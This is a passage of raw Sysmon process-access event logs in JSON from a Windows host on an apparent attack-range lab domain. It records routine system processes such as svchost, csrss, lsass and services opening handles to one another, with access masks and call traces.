11:49:40.610","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":953,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.610\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 2236\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-0010C05A0100}\r\nTargetProcessId: 2304\r\nTargetImage: C:\\Windows\\system32\\compattelrunner.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|c:\\windows\\system32\\UBPM.dll+a711|c:\\windows\\system32\\UBPM.dll+f974|c:\\windows\\system32\\UBPM.dll+cd3c|c:\\windows\\system32\\UBPM.dll+d305|c:\\windows\\system32\\UBPM.dll+dc05|c:\\windows\\system32\\UBPM.dll+e91d|c:\\windows\\system32\\UBPM.dll+e12a|c:\\windows\\system32\\UBPM.dll+dd82|c:\\windows\\system32\\EventAggregation.dll+3e22|c:\\windows\\system32\\EventAggregation.dll+389a|c:\\windows\\system32\\EventAggregation.dll+332f|c:\\windows\\system32\\EventAggregation.dll+2e28|C:\\Windows\\SYSTEM32\\ntdll.dll+64ed5|C:\\Windows\\SYSTEM32\\ntdll.dll+64bdd|C:\\Windows\\SYSTEM32\\ntdll.dll+64a40|C:\\Windows\\SYSTEM32\\ntdll.dll+45b70|C:\\Windows\\SYSTEM32\\ntdll.dll+2a073|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.610","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"2236","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-0010C05A0100}","TargetProcessId":"2304","TargetImage":"C:\\Windows\\system32\\compattelrunner.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|c:\\windows\\system32\\UBPM.dll+a711|c:\\windows\\system32\\UBPM.dll+f974|c:\\windows\\system32\\UBPM.dll+cd3c|c:\\windows\\system32\\UBPM.dll+d305|c:\\windows\\system32\\UBPM.dll+dc05|c:\\windows\\system32\\UBPM.dll+e91d|c:\\windows\\system32\\UBPM.dll+e12a|c:\\windows\\system32\\UBPM.dll+dd82|c:\\windows\\system32\\EventAggregation.dll+3e22|c:\\windows\\system32\\EventAggregation.dll+389a|c:\\windows\\system32\\EventAggregation.dll+332f|c:\\windows\\system32\\EventAggregation.dll+2e28|C:\\Windows\\SYSTEM32\\ntdll.dll+64ed5|C:\\Windows\\SYSTEM32\\ntdll.dll+64bdd|C:\\Windows\\SYSTEM32\\ntdll.dll+64a40|C:\\Windows\\SYSTEM32\\ntdll.dll+45b70|C:\\Windows\\SYSTEM32\\ntdll.dll+2a073|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":954,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.610\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-0010C05A0100}\r\nTargetProcessId: 2304\r\nTargetImage: C:\\Windows\\system32\\compattelrunner.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.610","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-0010C05A0100}","TargetProcessId":"2304","TargetImage":"C:\\Windows\\system32\\compattelrunner.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":955,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.610\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nSourceProcessId: 1220\r\nSourceThreadId: 1640\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001076B40000}\r\nTargetProcessId: 1092\r\nTargetImage: C:\\Windows\\system32\\LogonUI.exe\r\nGrantedAccess: 0x40\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|c:\\windows\\system32\\fntcache.dll+17aaf|c:\\windows\\system32\\fntcache.dll+1a677|c:\\windows\\system32\\fntcache.dll+1aaac|c:\\windows\\system32\\fntcache.dll+502ee|c:\\windows\\system32\\fntcache.dll+4fff2|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.610","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00103DC30000}","SourceProcessId":"1220","SourceThreadId":"1640","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001076B40000}","TargetProcessId":"1092","TargetImage":"C:\\Windows\\system32\\LogonUI.exe","GrantedAccess":"0x40","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|c:\\windows\\system32\\fntcache.dll+17aaf|c:\\windows\\system32\\fntcache.dll+1a677|c:\\windows\\system32\\fntcache.dll+1aaac|c:\\windows\\system32\\fntcache.dll+502ee|c:\\windows\\system32\\fntcache.dll+4fff2|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":956,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.610\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nSourceProcessId: 1220\r\nSourceThreadId: 1640\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001076B40000}\r\nTargetProcessId: 1092\r\nTargetImage: C:\\Windows\\system32\\LogonUI.exe\r\nGrantedAccess: 0x40\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|c:\\windows\\system32\\fntcache.dll+17aaf|c:\\windows\\system32\\fntcache.dll+1a677|c:\\windows\\system32\\fntcache.dll+1aaac|c:\\windows\\system32\\fntcache.dll+502ee|c:\\windows\\system32\\fntcache.dll+4fff2|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.610","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00103DC30000}","SourceProcessId":"1220","SourceThreadId":"1640","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001076B40000}","TargetProcessId":"1092","TargetImage":"C:\\Windows\\system32\\LogonUI.exe","GrantedAccess":"0x40","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|c:\\windows\\system32\\fntcache.dll+17aaf|c:\\windows\\system32\\fntcache.dll+1a677|c:\\windows\\system32\\fntcache.dll+1aaac|c:\\windows\\system32\\fntcache.dll+502ee|c:\\windows\\system32\\fntcache.dll+4fff2|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":957,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.610\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00100F5C0100}\r\nTargetProcessId: 2312\r\nTargetImage: C:\\Windows\\system32\\conhost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.610","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00100F5C0100}","TargetProcessId":"2312","TargetImage":"C:\\Windows\\system32\\conhost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":958,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.797\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {00000000-0000-0000-0000-000000000000}\r\nTargetProcessId: 2396\r\nTargetImage: C:\\Windows\\system32\\conhost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.797","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{00000000-0000-0000-0000-000000000000}","TargetProcessId":"2396","TargetImage":"C:\\Windows\\system32\\conhost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":959,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.797\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.797","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":960,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.797\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.797","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":961,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.797\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.797","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":962,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.797\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1280\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-0010417D0100}\r\nTargetProcessId: 2424\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: 